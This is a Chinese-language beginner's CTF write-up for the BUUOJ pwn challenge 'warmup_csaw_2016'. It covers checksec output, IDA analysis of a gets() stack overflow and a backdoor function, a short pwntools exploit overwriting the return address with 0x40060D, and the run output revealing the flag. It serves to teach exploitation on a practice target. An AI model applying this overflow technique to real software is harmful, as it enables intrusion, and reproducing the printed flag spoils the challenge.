CTF buuoj pwn-----第3题: warmup_csaw_2016
前言
记录一下pwn的过程 同第1、2题一样,新手学习日记,流水线记录. 打开题目, 连接靶机,下载文件’warmup_csaw_2016’
一、checkesc ,检测文件的保护机制
bing@bing-virtual-machine:~$ checksec ./warmup_csaw_2016
[*] '/home/bing/warmup_csaw_2016'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
从图上可以看出它是一个64位程序,仅开启了栈不可执行保护, 没有打开NX防护(堆栈可执行),No PIE. 这里可以对比一下第1题:https://blog.csdn.net/bing_Max/article/details/119947896 可猜测为 溢出漏洞.,
二、静态分析,IDA打开文件
IDA打开文件warmup_csaw_2016
- 按下shift+f12,打开string window
发现 cat flag.txt
- 双击cat flag.txt, 点击command, 点击X, 发现cat flag.txt的address在可疑函数sub_40060D里
- 按下f5,发现int sub_40060D()函数就是一个简单的system()函数,这个函数的作用就是输出flag的文件信息.
- 这就找到解题思路: 想办法触发后门函数sub_40060(),记下次函数地址为0x40060D
- 回到主函数,看到危险函数gets(), 这就明确了是栈溢出的题目
- 双击v5,v5 64db ,再加上r(返回地址)8个字节,所以要达到溢出,需要总长度为72 db
三. 编写exploit
from pwn import *
sh = remote('node4.buuoj.cn', 28978)
payload = b'a'*72+p64(0x40060D)
sh.sendline(payload)
sh.interactive()
四. 运行EXP, 获取flag
bing@bing-virtual-machine:~/pwn$ python3 ./warmup_csaw_2016.py
[+] Opening connection to node4.buuoj.cn on port 28978: Done
[*] Switching to interactive mode
-Warm Up-
WOW:0x40060d
>flag{32892a46-9853-424a-a09a-cbaf5820ce47}
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
flag{32892a46-9853-424a-a09a-cbaf5820ce47}
|